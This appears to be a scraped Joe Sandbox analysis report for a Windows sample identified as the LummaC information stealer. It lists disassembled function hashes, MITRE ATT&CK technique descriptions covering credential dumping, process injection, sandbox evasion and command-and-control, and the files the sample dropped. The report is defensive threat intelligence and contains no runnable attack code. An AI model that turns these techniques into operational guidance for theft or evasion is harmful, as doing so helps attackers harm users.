Function 00D6B3F2 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2ac96f22681034431f4e1454ac1de36b97803d1287b73bf098ddea64f769f13
Instruction ID: ea561a3e9c8654ea15fd0149800e2b22db55ad9f1f91ff6ce34a171215928a4b
Opcode Fuzzy Hash: f2ac96f22681034431f4e1454ac1de36b97803d1287b73bf098ddea64f769f13
Instruction Fuzzy Hash: 2931D5726183514BD718CF39C89132BBBE2AB85318F18DA6ED4D1D7385D738D8458B52

Function 00D80F03 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42bb4781c26a88e7fb9eac519b312af4e1f2126b8e3d5bab0a325fcf4b223d8f
Instruction ID: 93c8a4df04b318e6c0edfe86c300b80efcd39245d8edbadd5310a20e564e71e7
Opcode Fuzzy Hash: 42bb4781c26a88e7fb9eac519b312af4e1f2126b8e3d5bab0a325fcf4b223d8f
Instruction Fuzzy Hash: F021B1769583A04BE3348B358C513DBBBE2ABC6314F19861DC8D857285DB760809CB91

Function 00D8A230 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 350593d884000d3f4164579982589a73667d12897d41e21636d979ff8bb45fbd
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: F511EC336091D44ED3259D3C84006657FD30A93735B1D939AF4F49B2D2D5278D8B8369

Function 00D7C5E0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0bd2af23d8aba3338285f4a2fcfdf2a171a9890d65b304db72d3eef606dba8
Instruction ID: 9b0034e5b599314db4ef1586f35bfb77a1cf41f420e4a5f41c35372270e8364c
Opcode Fuzzy Hash: 5b0bd2af23d8aba3338285f4a2fcfdf2a171a9890d65b304db72d3eef606dba8
Instruction Fuzzy Hash: 7C0152F16107014BDA20AE5494C172FB6A89B94704F1CA42CDC0857202FB76ED0996B5

Function 00D91816 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45cab3ca5a1e155ae9e67f1cc25e2c7d8bb2e9c62f52ba5163ae387162f61d98
Instruction ID: 770fbc5da50a3ae16aeb3c2d743463971c079673a059967ed750da48298e9c0f
Opcode Fuzzy Hash: 45cab3ca5a1e155ae9e67f1cc25e2c7d8bb2e9c62f52ba5163ae387162f61d98
Instruction Fuzzy Hash: E21190791693029BD308CF54D89136BFBA3AFC5348F18CA2DE18557345CAB5D106CB56

Function 00D64F90 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e95d80a700c44ecd5ab4049ae67cbf7bd9d5b967d50b93e02c8f6895c2a28bd0
Instruction ID: 0454381ef976cab5b496c7c22e60febdb04ebf5144c72b45ea8856bc9da8538c
Opcode Fuzzy Hash: e95d80a700c44ecd5ab4049ae67cbf7bd9d5b967d50b93e02c8f6895c2a28bd0
Instruction Fuzzy Hash: F1014C32A1D7518FD3008F98C8853D6BBE2EF52300F09446AC5C8DB286C6B99846CBA2

Function 00D90A90 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 172f7b02e15ffe8cef09e44abf42a72d664b0722ab993825385f35237a4af253
Instruction ID: 2f45f2f99f2553fae491517a7ef321513b87d702420dad0678292e26a2fdf7c5
Opcode Fuzzy Hash: 172f7b02e15ffe8cef09e44abf42a72d664b0722ab993825385f35237a4af253
Instruction Fuzzy Hash: 5BF0D632640304AF97109A05AC40D377B6EF78D728F144319E655532A1A672ED1087F1

Function 00D6F3E0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 775c3246620192a756106eb39f93601284509897b10c22c32459bea02f86ae0b
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: E6D0A761549BB10F57588F3C54A047BFBE8E987712B1C24AEE4D2E3105D221EC0246A8

Function 00D75560 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 123COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00D7561D

Strings

MO, xrefs: 00D75572
$%, xrefs: 00D755A6
p:#, xrefs: 00D75647

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: $%$p:#$MO
API String ID: 237503144-3521940197
Opcode ID: cf442ad9f72a1835c7a773692428fe33e2adaa30b5eaa996cbd27b48ba1fdf68
Instruction ID: d5330520f2f13e338d38630f19f3078b21a47620dc5dcaa09291138febafab5d
Opcode Fuzzy Hash: cf442ad9f72a1835c7a773692428fe33e2adaa30b5eaa996cbd27b48ba1fdf68
Instruction Fuzzy Hash: 6641C2765183448FE310DF14D89475FBBE2EFC4758F16892CE4D49B780D6B9CA0A8B86

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report chu4rWexSX.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_92F8.tmp.exe_34792d74c718cbac348cac967ecdc7b150b8ff_17e89f56_b1289dc2-7214-448c-ba19-751e15ccc2a2\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9DDB.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA84C.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA8AB.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\ScreenUpdateSync[1].exe

C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
chu4rWexSX.exe

Function 0040273E Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134
networkfilesynchronizationCOMMON

Function 007007A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0042FBD9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300
COMMONLIBRARYCODE

Function 00439CEC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Function 0074003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 0040294E Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179
networkCOMMON

Function 00404959 Relevance: 9.1, APIs: 6, Instructions: 82
COMMON

Function 00404CD7 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Function 004026AA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Function 0042ADC4 Relevance: 4.6, APIs: 3, Instructions: 54
threadCOMMONLIBRARYCODE

Function 00431405 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Function 004028F7 Relevance: 4.5, APIs: 3, Instructions: 41
registryCOMMON

Function 0042AD24 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Function 004020E8 Relevance: 3.1, APIs: 2, Instructions: 125
windowCOMMON

Function 00401530 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101
sleepCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre